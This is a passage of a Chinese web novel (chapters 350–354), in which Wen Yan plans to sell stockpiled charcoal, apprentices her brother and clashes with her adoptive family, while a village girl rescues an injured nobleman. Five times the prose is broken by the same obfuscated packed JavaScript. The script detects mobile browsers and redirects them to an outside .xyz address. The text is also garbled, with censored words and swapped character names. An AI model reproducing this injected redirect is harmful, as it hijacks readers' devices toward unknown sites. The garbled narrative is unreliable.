“这……”寒冬腊月,大汉冷汗都下来了,“她……她没说。” “她没说你就没问?”中年男子抓起茶杯砸在汉子头上。 鲜血顿时顺着额头流下来,他连求饶都不敢,只能更卑微的匍匐在地。 中年男子压抑怒火问道:“那女子有何特征?” “她长着圆圆脸,个子不算高,会一点拳脚功夫,用**扎我们的时候,毫不手软。” 背影听完,挥挥手,大汉就团团退出了房间。 待院门合上,中年男子来到正门外禀报:“主人。**儿叫那个多事的妇人闻颜,要我们去查清她的底细吗?” 屋里安静片刻,才传出一道幽幽的女声:“不必了。叫闻颜还那么嚣张,必定是闻家的弃女闻颜了。” “主人,那个卤肉方子……是继续去找黄家吗?” “这么一点小事,浪费如此多的时间。再给你十天时间,要是还搞不定,你也别干了。” “是……”中年男子诚惶诚恐地应着。 出了县城,他们紧赶慢赶,终于在午时抵达京城。 他们先去了‘一点墨’。 隔得老远,就看见‘一点墨’的门前堆着一些帐篷和草帘子。 草帘子后面,还缩着一些乞儿。 铺子里更是飘出阵阵药味。 闻颜轻轻蹙眉,走进铺子里,就感受到了春天般的温暖。 随后,她便发现铺子里打扫得特别干净。 地面擦得锃光瓦亮,书架货柜更是不用说,就连房顶都被打扫得一尘不染。 书籍商品也摆得齐齐整整,没有丝毫偏差。 随后,她便发现铺子里人满为患。 无论是台阶,还是地上,或坐或站满了人。 有的撑着脑袋打瞌睡,有的则在阅读看书,时不时写写画画做笔记。 这氛围,好像书院一般。 苏合看见闻颜,开心地迎了上来:“小姐,你回来了!” 周围的人听见苏合叫小姐,全都站了起来,十分恭敬地朝闻颜一揖:“见过闻小姐。” 闻颜吓了一跳:“你们这是做什么?苏合,这到底是怎么回事?” 苏合将事情原委道来。 原来,在暴雪第二日,苏合便开放铺子,十二个时辰不间断为大家供暖。 起初是很多没钱买炭的读书人来这店里蹭暖气。 后面就有冻得受不了的乞儿、穷人过来。 有些人冻病了,苏合还请大夫煮药给他们吃,所以铺子里才弥漫着药味。 不少人,因为这些药捡回了一条命。 铺子里一天还会提供两顿窝窝头,虽然不好吃,但却可以让那些乞儿不挨饿。 后来,那些蹭暖气的穷人和书生,也都在铺子里买窝窝头果腹。 “闻小姐,多亏你的仁善之心,否则我们恐怕都冻死在外面了。” “是啊,以前还有谣言说您不好,我看都是无稽之谈。” 闻颜连忙摆手:“都是举手之劳,大家不必挂齿。 不过我要纠正一点,春节之前我已经恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564781|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复了亲生父亲的姓氏。 我叫柳闻颜,大家以后叫我小柳就好。” “好的柳小姐,我们都记住了,以后不会再叫错。” 现在店里十二个时辰都有供暖,那些买不起炭的人夜里也不会离开。 闻颜几位女子,就不适合继续住在此处。 她把墨锭和颜料留下来之后,就让她先回‘清风小楼’。 她则跟苏合到账房谈事。 “小姐,铺子里勉费供炭供药供食物,十来天时间,不处炭钱已经花去十两银子了。 我们还要继续下去吗?” “既然已经开始了,就不能半途而废。 好人做一半,是会落下仇恨的。” 苏合一点就透,就没再多说。 闻颜拍拍她的手:“你放心吧,这次的善举我们不会白做的。” 苏合用力点点头:“我相信小姐。” “最近‘清风小楼’是什么状况?” 说起‘清风小楼’的状况,苏合的脸上就露出笑容:“清风小楼的订单络绎不绝,都已经排到大年十五了。最受欢迎的,就是冰嬉湖和百花小院。” 闻颜有些意外,“生意竟然这么好?” “那是当然。我们的院子那么精致漂亮,服务周到,供暖又很足,那些夫人小姐出来放松聚会,我们必定是首选啊。” 闻颜握拳打气:“马上就到春天了,我们可以多想几个主题,才能让客人保持新鲜感不断。” 午饭过后,天色越发阴沉了。 暴雪欲来。 闻颜就想趁着大雪落下来之前,把柳老四去‘天衣布庄’拜师当学徒。 他们步行去布庄,顺便熟悉熟悉京城路形。 很快,他们就到了店里。 天气原因,店里没有客人。 崔掌柜直接把他们请上二楼的雅间。 “小东家,今儿才初四,你怎么就回京城了?” “我们不是囤了很多羊毛马甲吗?我想趁着天冷,把它们全部卖出去。”闻颜说笑几句,就把柳老四拉到身前,介绍给崔掌柜。 “崔叔,他是我哥四,我想劳烦您教教他怎么管铺子、做生意。” 第350章:早就给霍耀行安排好了 崔掌柜看向柳老四,上下打量着他。 柳老四连忙向崔掌柜深深一揖:“小子真心求教,还请掌柜收我为徒。” 崔掌柜连忙上前将他扶起:“使不得,使不得。您是小东家的弟弟,也算我的半个东家。” 闻颜连忙道:“使得的。您虽然叫我小东家,可我跟迟飞一样,都当您是可敬可亲的长辈。 既然我哥哥跟着您学东西,这个师就该他拜。” 笑话,崔掌柜可是跟着孟迟飞的阿爷出生入死过的,谁敢拿他当下人看。 而且,天衣布庄的掌柜,也只是他众多身份之一。 前世,孟将军毒发后,他差一点就拿到兰家人手中那枚合香丸。 柳老四拜他为师,一点不亏。 要不是沾了孟迟飞的光,柳老四就算求祖宗告奶奶,崔掌柜都不会多看他一眼。 崔掌柜见闻颜兄妹俩态度诚恳,最终还是答应了收柳老四为徒。 柳老四欢喜极了:“谢谢师父。” 说完,他就急匆忽地跑了出去。 崔掌柜疑惑:“他这是……” 闻颜笑笑:“他马上就回来了。” 果然,没一会儿外面又传来噔噔噔的脚步声。 柳老四提着束脩六礼重新回到包厢。 将东西放在桌上:“师父,这是我的拜师礼。” 他笑着虚点了柳老四一下:“你啊,也是个急性子。” 双方都不扭捏。 崔掌柜落坐。 柳老四端着茶杯,‘扑通’一声跪在地上:“师父,请喝茶。” 崔掌柜欣然接过茶,饮了一口。 他却没有让柳老四起来,而是道:“既拜我为师,此刻我便教你第一堂课,做生意最讲究沉稳,最忌讳急躁。” “徒儿知道了,师父。”柳老四欢喜难掩,脆声回道。 崔掌柜又道:“也不可喜形于色,面对客人,你要给他想看的情绪。” 柳老四知道,自己又犯错误了。 连忙敛住情绪,一板一眼地回道:“是,师父。” 崔掌柜似觉得太过严肃,又放柔了语气:“对信任的人,倒不必如此拘谨。” 柳老四不仅没有因为崔掌柜的这句话而放松,反而更加认真谨慎地点点头:“徒儿记下了。” 崔掌柜摸着胡须,满意的点点头。 闻颜见崔掌柜反应,便知柳老四通过了他初级的考验,已经有资格跟着他学真正的东西。 将柳老四交给崔掌柜,闻颜就独自离开‘天衣布庄’。 柳老四想送她回去,不过被闻颜拒绝了。 回去的路上。 闻颜就看见一家铺子前排着长长的队伍。 闻颜好奇,就凑上去瞧了瞧,卖的竟然是木炭。 木炭的质量有高有低,价格都比往年贵了十倍不止。 闻颜看了一眼店铺的招牌。 她握了握拳,又拐去别的街道。 连看了好几家铺子,有三四家都在卖炭。 她看的那些铺子,虽然现在还属于津平侯。 三个月后,霍耀行连夺会元、状元,让津平侯风光无限。 津平侯便将这七家商铺,作为奖励给了霍耀行。 霍耀行自诩读书人,清贵高尘,怎能沾染经商这种下九流的勾当。 他便将七家铺子交给闻颜打理。 闻颜用几年时间,将那些掌柜一点一点培养成才,同时将他的铺子做大做强,最后成了他重要的银钱来源。 正有了那些人才,后面才让霍耀行毫无顾及地将她幽禁,后面又任由闻如月来杀死自己。 闻颜咯咯笑了几声:“果然啊!前世她会死得那么惨,一点都不冤。 每一把扎在她身上的刀,都是她自己递出去的。” 霍耀行这个冬天,趁着卖炭应该赚了不少钱吧! 没关系,让他再得意几天吧。 再有两个多月就会试了。 她绝对不会再让霍耀行有连夺两魁的机会。 她早就安排好了。 这次会试,只会是霍耀行一步步走向深渊的开端。 今生,她绝对不会再让霍耀行有翻身的机会。 闻颜看着铺子冷笑一声,转身就步行回‘清风小楼’。 她还没回到地儿,天空就飘扬起鹅毛大雪,没一会儿,那雪就飘得密不透风。 **儿走在回家的小路上,面对骤降大雪浑然不知。 她满脑子都是闻颜提醒她的那些话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570522|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不得不说闻颜说得对。 自身没实力,拿出来的好容易,根本留不住。 “哎……那是我不想抱大腿吗?是没有大腿给我抱啊!”**儿长长的哀叹一声。 黄家往上数五代,都是老实巴交的庄稼汉。 最出自的亲戚就是应知林,考了个举人。 举人虽然厉害,但是在盘根错节的本地望族面前,根本不堪一击。 忽地。 她眼前一亮。 闻颜就不是一根粗大腿吗? 听说她除了在闻家长大,还跟镇国大将军的长女是好姐妹。 现在是太平盛世,已经没有封侯拜爵的机会。 镇国大将军,已经是武将里的天花板。 自己若是抱上闻颜的大腿,跟她合做生意,镇国大将军府那位大小姐,肯定会护着闻颜,那不想当于在护着自己了吗? **儿握了握拳,只要自己银票给到位,这根大腿就跑不了! **儿想通之后,紧皱的眉头瞬间舒展,这才发现天降大雪。 “糟了!又下大雪了,得赶紧回家去。” 她连忙往家跑,连脚步都轻快起来。 忽地。 她脚下绊倒一个东西,身体朝前栽去。 “**!” 闻颜摔了个五体投地。 “哎呦喂,摔死老娘了。”**儿揉着腰,骂骂咧咧的站了起来。 才发现自己绊倒的不是石头,而是一个人形物。 “这是啥玩意儿!” 她扫开雪,立即露出一张人模狗样的俊脸。 “啧啧啧,这脸蛋长得可真不错。 眼睛是眼睛,鼻子是鼻子的。 可惜脑门上撞了一个大窟窿,还滋滋往外冒血。 影响美感,可惜了……” “救……救我!”那人突然出声,还一把抓住了**儿的胳膊。 “啊……诈尸啦!”**儿吓了一跳,一脚踹在他脸上,手忙脚乱的退出好远。 “我没事,你救救我……”那人朝**儿伸出手。 原来没死啊! **儿重重松了口气。 她到底是在红旗下长大的,**儿做不到见死不救。 第351章:口是心非的女人 检查之后,发现男人除了额头上的伤,一条腿也断了。 闻颜还在他身上发现了一块玉佩,两个扳指,一把折扇,一把**…… 啧啧啧,大冬天的带折扇,可真骚包啊! **在衣袖里掏了掏。 很快就拿出一瓶创伤药,又拿了一卷纱布,三两下就把男人头上的伤口处理好了。 又找来两根树枝,把他的断腿固定。 处理完之后,按理说她应该把人带回家养伤的。 可是她不敢啊。 以她十八年的网文经验来看,穿越女在路边捡到的第一个男人非富即贵。 不是皇子就是王爷。 自己若是把他治好,金大腿不就来了么? 按照自己的设定,应该是个穿越种田发家致富的故事。 只要跟着他混,今后必定能飞黄腾达,当上一国之母,与他共享江山也不是不可能。 要是,机遇与危险是同时存在的。 想要登上高位,途中的危险阴谋不计其数。 刺杀、下毒这类斗争少不了。 她在现代就是一普通牛马,穿越也没把智商拔高,怎么可能搞得过从小就浸淫在**斗争中的古人。 算了算了。 富贵诚可贵,狗命价更高。 她还是安安份份的当个普通农女吧! 抱几根不大不小的大腿,赚多多的银子,再养几个布道,日子不要太美妙。 没必要主动给自己的人生升级难度。 **儿很快就做下决定。 眼看雪越下越大,**儿犹豫了一下,就扶着男人靠坐在树上,又折了些树枝把他围起来挡雪:“你就躲在这里,等着你的同伴过来接你吧。” 弄好这些之后,**儿转身就往家走。 雪已经堆了半掌厚,踩在上面嘎吱作响。 眨眼间,她就跑出去很远。 忽地。 她又停了下来。 按照小说定律,女主救下的人,若是没有立即带回家,百分之百会被反派冒领功劳,然后回过头来对付她。 **儿气得咬牙切齿。 现在一个卤肉方子,就搞得她焦头烂额的,再来一个王爷世子对付好,她还能有安生日子? 她就是一个任人拿捏的小可怜,再也经不起摧残了。 她气得跺跺脚,不得不折返回去。 找树枝绑了个担架,将狗男人拖走。 天上下着大雪,她手脚都冻麻木了,又是山路,她走得异常艰难。 好在哥哥嫂嫂们担心她,见她久久不归,担心她发生意外,出来寻找。 在半道遇上捡人的**儿,几人合力才将人抬回家,又请了大夫来为他看诊。 夜色降临。 闻颜躺在温暖的被窝里,却怎么也睡不着。 被子上皂荚的清香很好闻,闻颜却不由自主想到清冽的墨香。 墨香让她觉得安稳踏实。 随之,她便想到应知林那张魅惑众生的脸。 闻颜想到今早起床时,应知林抱着被子缩成一团的可怜模样,她脑中便升起一股浓浓的违和感。 他俊美、高大、身材结实,怎会那样娇弱无助? 难不成他是在作戏,就是为了套路自己,把自己与他绑定在一起? 可是不对啊! 如果真是如此,那他也太过攻于心计。 可他为何要这样做? 自己虽然有些钱财,却无权无势。 不对,难道他是想通过自己,攀上孟家这根高枝? 可在与他相处之中,他从未打探过孟家消息。 就连希延大哥和迟飞姐姐来登门,他也只是礼数到位,并不主动攀附。 亦或许,是因为他的心理障碍。 只是会对亲近之人露出脆弱的一面,而自己是他身边,唯一能撑起一片天,又不会害他兄妹三人之人。 他便对自己全身心的依赖,自然而然就做了真实的自己。 想到此。 闻颜又觉得自己有些小人之心。 总之,她一时拿不准应知林是真是假,便未妄下决定,打算想再观察观察。 她不会错放,可应知林若有问题,她也会当断则断,毫不手软。 “阿嚏阿嚏——”刚刚洗漱上床的应知林,没来由的连打两个喷嚏。 “一想二骂三感冒。”他捏捏鼻子,翻身抱着闻颜的枕头,用脸蹭了蹭,“夫人,有人骂你的夫君,我委屈。” 京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570523|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,皇宫。 皇后站在窗前,看着密不透风的大雪,秀眉拧在一起。 “又下雪了,司天鉴那边怎么说?” 皇帝坐在她对面,也一样的愁眉苦脸:“情况不太好,估计还要持续半个月。” “半个月……这个冬天不好熬。 京城衙门里还有应急的炭吗?” 皇帝道:“经过上一次的暴雪寒潮,已经所剩无己了。” 皇后露出痛惜之情:“这个冬天,不知还要冻死多少人。 若不是迟飞那孩子提前预警,这个冬天的损失,恐怕无法估量。” ** 翌日清晨,大雪早就停了。 **儿捡到的男子就悠悠转醒。 他在见过**儿之后,就对她许下誓言:“救命之恩,我会以身相许。” “你在胡说些什么!”**儿吓得一蹦三仗高。 男子十分郑重的道:“想必你已经看出来了,我出生不凡,而你只是普通的农家女子。 我愿意娶你为妻,我的家族也不会同意。 所以,我愿意以贵妾之礼抬你入府。” 他的妾也不是普通的妾。 等他登上高位,这一家的泥腿子,也会跟着鸡犬升天,改换门庭。 然而,他并未等来**儿的欣喜答应,感动哭泣。 只见**儿一蹦三仗高:“**!你这人怎么恩将仇报。我救你性命,你断我前程!” 男子表情石化:“姑娘此话怎讲? 难道让你跟着我还委屈你了吗? 不知多少人名门贵女为了给我做妾,把脑袋都挤破了。 还有,**是什么意思?” **儿翻了个白眼:“妾是什么好东西吗? 每天看人脸色过活,吃饭穿衣连赶路都需要谨慎谨慎再谨慎。 如果是高门大户,权贵世家那就更惨了。 勾心斗角分分钟就能丧命。 你说你这不是恩将仇报是什么? 你要是真心感谢我,就该多多给我银子,让我下半辈子衣食无忧。” 男子听得眉头抽抽,这女人不会是想用这种这段来引起他的注意吧! 女人啊! 就爱口是心非。 第352章:找根新的金大腿 他心里这样想着,轻笑一声,嘴上却说:“姑娘说的是,是在下唐突了。” **儿:“你说一下家中地址,我去帮通知家人。” 男子闭了闭眼睛,从腰间取下一块红色巾子:“不必找我家人了。你把这条腰带挂到房子显眼处,我的随从自会找过来。” **儿眨了眨眼睛。 果然,此人不简单。 既然他不想暴露身份,她更不会去主动探寻。 毕竟,知道得越多,死得越快。 她可不想招惹麻烦。 毕竟,她的脑容量只适合吃喝玩乐提前养老,并不想陷入勾心斗角, 她只想安安静静拿点钱过潇洒日子。 “好的,我这就去帮你挂上。”**儿接过巾子,就离开了房间。 那速度快得像只逃跑的兔子,没有装点犹豫之意。 京城。 早饭之后,闻颜梳洗打扮一番,把自己裹成一个**球,就骑马朝孟家而去。 到了孟家,她才从管家口中得知,孟希延昨夜值守,到现在还没下衙。 闻颜好奇道:“希延大哥现在是晋阳知府,属于文官了,怎么又去殿前司当差了?” 官家道:“不是殿前司,是去了城卫禁军,最近灾雪严重,那边忙不过来,前儿才就叫大公子去撑场子了。” 殿前司是专门护卫皇宫的。城卫禁军是专门护卫京城的。 “原来如此。那他什么时候能回来?” “这会儿该下衙了,应该很快能回来。” “那我去迟飞的院子里等他,希延大哥回来之后,劳烦你能通传我一声。” “好的,闻颜小姐请。”管家笑呵呵的应着。 “为伯,我恢复亲生爹娘的姓了,我现在叫柳闻颜。” 为伯连连点头。 城卫禁军衙门。 孟希延到了下衙时间,跟同僚交班完成。 同事跺着脚,往手上哈气:“这该死的天气,可真冷啊!” “昨晚下了一整夜的雪,今天有所降温是正常的。”孟希延一边说一边开始穿外套。 大氅、手套,还有一顶帽子。 同僚惊讶地道:“孟兄,你这件皮裘大氅是‘天衣布庄’的吧。 天衣布庄的皮裘大氅供不应求。 像你这种品相的大氅,可是价比黄金,拿着钱也买不到。” 应知林突然勾起嘴角,得意洋洋挑了挑眉,不屑地哼了一声:“天衣布庄的东西也能跟我的相比? 我身上的大氅、手套、帽子都是我妹妹亲手给我做的。 大氅里面用的可是最好狼皮。” 说完,他又抬起脚来:“这双靴子,是羊皮做的,里面带着短毛。 暴雪那几天,天气骤降,我穿着它也没觉得冷。” 同僚:“……” 原来这货是想炫妹啊。 有人打趣他:“迟飞不是连针都拿不稳吗?什么时候学会如此精细的针线活了。” “哼!我又不止一个妹妹。这是我义妹做的。我和迟飞还有爹娘,每人都有一套。” 其他同僚酸溜溜的:“有义妹了不起啊!瞧你那得瑟的样儿。” 孟希延挑了挑眉:“吃不着葡萄,说葡萄酸。” 他又拿出一顶帽子戴在头上:“下衙时间到了,你们辛苦着,我就先回家歇着了。” 孟希延大步离开了衙门。 他人高腿长,走路带了风一样,气势如虹。 ** 闻颜在迟飞的院子里,无所事事又不想看书。 见院子里的积雪没打扫,闻颜就跑出去堆雪人。 刚堆出一个孟迟飞,就听见门口传来一阵轻咳。 “咳咳。” 闻颜回头,就看见孟希延站在院门口。 “希延大哥,你回来了。” 孟希延走进院子,帮着她团雪球:“今天才初五,你怎么这么早回京城,是在乡下受了委屈?过得不开心吗?” “哪能啊,我在乡下过得很好的。我这么早上来,是特地来找你的。” “找我?”孟希延不明所以。 “大哥,城卫禁军那边你还要做多久?能请假吗?” “你找我是有重要的事?” 闻颜:“呃……” 难道要告诉他,自己是带他去抢媳妇的? 孟希延会信吗? 孟希延和那位宁姑娘的事,藏得十分隐秘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576277|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个大庸,恐怕只有他的妹妹和父母知道她心仪的女子是谁。 就算是前世,他已经娶她为妻,也把她的身份捂得严严实实。 要不是后面孟家遭难,闻颜去孟家的频率增多,她也不会知道这位神秘的嫂嫂。 她现在忽然提起,孟希延说不定会拧断她的脑袋,杀她灭口。 所以,还是先把人骗出去再说吧。 想把他骗出城,只好扯孟迟飞的大旗:“是关乎到迟飞姐姐终身幸福的大事。” 事关孟迟飞,孟希延瞬间就着急了:“什么意思?迟飞出什么事了吗?” “不是人生安全,是她后半生的幸福,希延大哥,你愿意请假来帮我吗?” 孟希延眉头微蹙,点头道:“我跟你去。” 事关迟飞,他不得有一丝马虎。 “那咱们就说好了,明日上午,我们在城门口不见不散。 对了,你多叫些信得过的人一起去。” “知道了,都听你的。”孟希延把团好的大雪球推给闻颜,就去衙门了。 “希延大哥,你稍等。”闻颜想起什么事,再次叫住孟希延。 “你还有什么事?” 闻颜不好意思地搓了搓手:“我自己有一件事,想请希延大哥帮忙。” “你说。” 闻颜道:“我不是囤了很多炭吗?我就想趁着最近天寒,把囤的炭卖出去。” “我能帮你什么忙?是铺子不够吗?” “你也知道的,现在外面的炭都抢疯了,我现在敢透出一点风声,那些暗处的人就会蠢蠢欲动。 还没到我手里,就会被人截胡。 所以,我现在想找一个强硬的靠山。 这件事不能扯上孟家,所以我想请你帮我递个话,给我找一根更粗更大的金大腿。” 孟希延想到京中情况,手指有节奏的敲着胳膊。 其实,京城府衙每年冬天都会准备越冬炭,在关键时刻低价卖炭给百姓,就是为了防止百姓冻死。 前阵子突然大暴雪大降温,官府囤的越冬炭已经所剩无已。 这暴雪还没有停下的迹象。 京兆府的人为了越冬炭的事,已经愁坏得秃了脑门。 第353章:女中豪杰 现在能有这么大一笔炭来解燃眉之急,也算是雪中送炭了。 闻颜囤了这么多炭,却隐而不发,想必就在等这一刻吧! 他再次庆幸迟飞跟她是闺中密友,而非敌人。 “这件事我会找人来处理,你就放心吧。”孟希延应下,转身就出去了。 闻颜在后面提醒他:“我还要回去做准备,你有事就派人去‘清风小楼’找我。” “好。”孟希延头也不回,摆摆手就消失在院门口。 闻颜离开孟家之后,又去了一趟‘天衣布庄’备货。 待她从‘天衣布庄’离开之后,很快就发现自己被人尾随了。 没多一会儿,大概是确定了她的身份之后,就走了。 侯府之中,闻如月的院子里。 ‘咣……’ 瓷器被摔碎的声音传来。 随后是闻如月的失声尖叫:“你说的都是真的? 闻颜那个贱丫头,当真把炭烧给那些穷鬼取暖?” “千真万确小姐。就算是别人借我一百个胆,我也不敢在您面前胡编乱造啊!” 一名婢女跪在闻如月面前,大气都不敢出。 “你下去吧。”闻如月不耐烦地摒退婢女。 “好你个闻颜,当初我和娘只是拿了她一点点炭。 她不仅不知感恩,还将我的人送去了京兆府。 现在那些炭多值钱啊,她竟然烧来给那些穷鬼取暖! 闻颜,你薄情寡义,心狠手辣,良心都让狗吃了! 你脑子是不是有病!” 闻如月抓狂尖叫。 仿佛闻颜烧的不是自己的炭,而是她的银子。 闻如月愤恨叫骂,抓起桌上的茶盏,就狠狠砸在地上。 旁边的丫鬟吓了一跳:“少……少夫人,这只茶盏是大公子最喜欢的,您现在把它摔碎了,该怎么跟大公子交待啊!” 闻如月看清自己砸了什么,脸上立即露出一丝惊慌。 霍耀行不止一次说过她,不要动不动就生气,更不要乱砸东西,没有一点世家教养。 她猛地回头,恶狠狠地瞪着那名丫鬟:“贱婢,笨手笨脚的摔坏了主子的东西,不承认就算了,还想让我给你背墨锅,谁给你的胆子! 来人啊——” 闻如月大喝一声。 几名丫鬟立即走了进来。 闻如月指着那名丫鬟:“她摔了大公子最喜欢的茶盏,拉出去打二十板子,再发卖出去。” “小姐不要啊!您知道的不是奴婢,求求您不要赶奴婢出去……救您给奴婢一条生路吧!” 丫鬟的嘴巴就被堵上,院子中很快就传来打板子的啪啪声。 闻如月则无心理会一个贱婢的生死,她坐到窗前,叫来丫鬟给她梳妆。 不能让闻颜再胡作非为下去了。 她要找江心葵商量,把炭拿回来。 ** 闻颜刚吃过午饭,‘清风小楼’的侍女就来通报,说外面有人找。 闻颜来到门外,就见大门前停着一辆低调的青衣马车。 车夫是孟家的熟面孔,闻颜便猜到是炭的事有着落了。 不愧是北境让人闻风丧胆的孟小将军,办事速度就是快。 闻颜打起帘子,坐进马车,就与一个熟**眼瞪小眼:“元小头领!” 元小头领朝她呲牙一笑:“没想到会是我吧!” 闻颜用眼神询问孟希延:“??” 孟希延朝她点点头。 所以,元小头领真的是上面指定派的。 闻颜挠挠头,上面的决定完全出乎她的预料。 闻颜以为上面就算不派太子来处理此事,也会派其他皇子来。 没想到竟然让一个名不见经传的小头领来负责。 他的身份,真的能压住那些蠢蠢欲动的豺狼虎豹吗? 上面的人不会这么蠢,想必这位元小头领还有隐藏身份。 不过,这些跟她有什么关系。 甩掉猜测,闻颜就跟他们说起卖炭的事。 她准备将炭分为三个等级,最好的炭制成炭饼,往死贵死贵里卖,用来赚钱。 次等保本。 末等的量最大,便按照官府的‘越冬炭’来处理。 上面解决了民生问题,她既赚了钱,又抱住了金大腿。 闻颜一边说,一边从随身的挎包里掏出囤炭的账本。 元小头领看完之后,眉头轻蹙:“你这样可就真赚不了多少钱,你跑一趟晋阳府,那么危险那么辛苦,总不能白干吧!” 跑那一趟她可没亏,司徒明的那些私藏可不少。 闻颜装作云淡风轻地摆摆手:“我亏的是钱,可我抱上金大腿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580971|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!” “咳咳……”元小头领因为她的直白,被口水呛到,“你盘算这么多,就为了给自己找靠山?” “不然呢?”闻颜道。 元小头领惊讶极了:“你去晋阳府的时候,就已经在盘算这些了?” “哪能啊!”闻颜白他一眼,“我又不能未卜先知,怎么可能料到今年冬天会这么冷! 当时觉得晋阳府的百姓太难了,想给他们一点活下去的希望,所以才想到收炭的法子。 这些你不是都知道吗?” 元小头领搓着没有胡子的下巴,问道:“其实我一直很好奇,你一个弱女子不远千里,跑到晋阳府去干什么?” “就为了坑人呗。”闻颜摊手,那狡黠的小表情,就像一只奸诈的小狐狸。 元小头领被他勾起八卦之心:“你说说,快展开说说。” “我出嫁那些事,想必你也听说过。 闻家让我成为笑话,成了百姓茶余饭后的谈资。 我这人很小气的,惹到我的人都会睚眦必报。 闻家对我不义,想在旱灾中**血馒头大捞一笔。 机会摆在面前,我当然要狠狠的还击回去。” 闻颜得意地晃了晃脑袋:“后面的事你们也看见了,闻如月那一趟吓破了胆不说,还亏了好些银子。 想想我就痛快极了。” 元小头领朝竖起大拇指:“你真乃女中豪杰!” 闻颜捧着脸,露出做作的害羞表情:“我也觉得自己很厉害呢!” 元小头领被恶心得起了一身鸡皮疙瘩:“喂,你快恢复正常,不要整这死出,怪吓人的。 闻颜翻他一个大白眼。 “你用翻我白眼!”元小头领气道,“这已经是今天第二个了,你别太过分嗷!” 卖炭的事就这样定下来。 商量好大致事宜,“我跟希延大哥还有其他重要的事情要做,卖炭这边就全权交给你了。不过我会叫我的管家佩儿来帮您,后面由她协助你。” 元小头领跟佩儿在晋阳府打过数次交道,还算熟悉,没有异议。 “那我现在就去把她叫来。”闻颜朝二人点点头,跳下马车。 她还没进门,身后就传来一声喝斥:“闻颜,你给我站住!” 闻颜转身,就看见闻如月母女,气势汹汹朝她而来。 第354章:心如铁石柳闻颜 “怎么是你们!”闻颜看见二人,很是烦躁:“还有,我现在叫柳闻颜,下次别再叫错了。” “你这是什么态度,我是你娘,来看看你怎么了?”江心葵理所当然的道。 闻颜克制住翻白眼的冲动,挤出一个僵硬笑容:“现在看到了,那就请回吧。” 早就三番五次的撕破脸了,闻颜一点不想在他们身上浪费时间。 闻如月着急,一把抓住她的胳膊:“你怎么回事?闻家养育你十六年,你就是这种态度对母亲? 闻家教你的教养呢? 这才多长时间,你就抛到九霄云外去了吗?” 马车里的二人听见动静,便撩开车窗帘子的缝隙往外看。 “你离开柳家的时间也不长,柳家的善良谦和你也不丢得一干二净吗?”闻颜甩开闻如月的胳膊,毫不留情地反讽回去。 “甭在这里跟我打感情牌,有事快说,我没空陪你们在这儿母慈女孝。” 江心葵母女气得不行,闻颜真是越来越野了。 她们还想教训闻颜,谁知她白眼一翻,转身就往‘清风小楼’走。 母女俩还想跟在她身后混进去。 闻颜眼疾手快,撑着门框拦住她们:“你们想干什么?” “闻颜,娘好歹养了十六年,你现在连门都不让她进了吗?” “母亲?”闻颜冷笑,“我们是当着皇后娘娘的面,断绝母女关系的,就连这些年的抚养费也一次性结清了。 江夫人,你现在还称作我的母亲,恐怕不太合适吧。” 江心葵一阵心寒。 闻颜可真是个白眼狼,十六年的感情,她说撇清就撇清了。 她虽然是心寒愤怒,却不敢再乱说话了。 闻颜想关门走人。 闻如月连忙将门抵住:“你们开门做生意,现在我们上门来花钱,你不能赶走我们。” 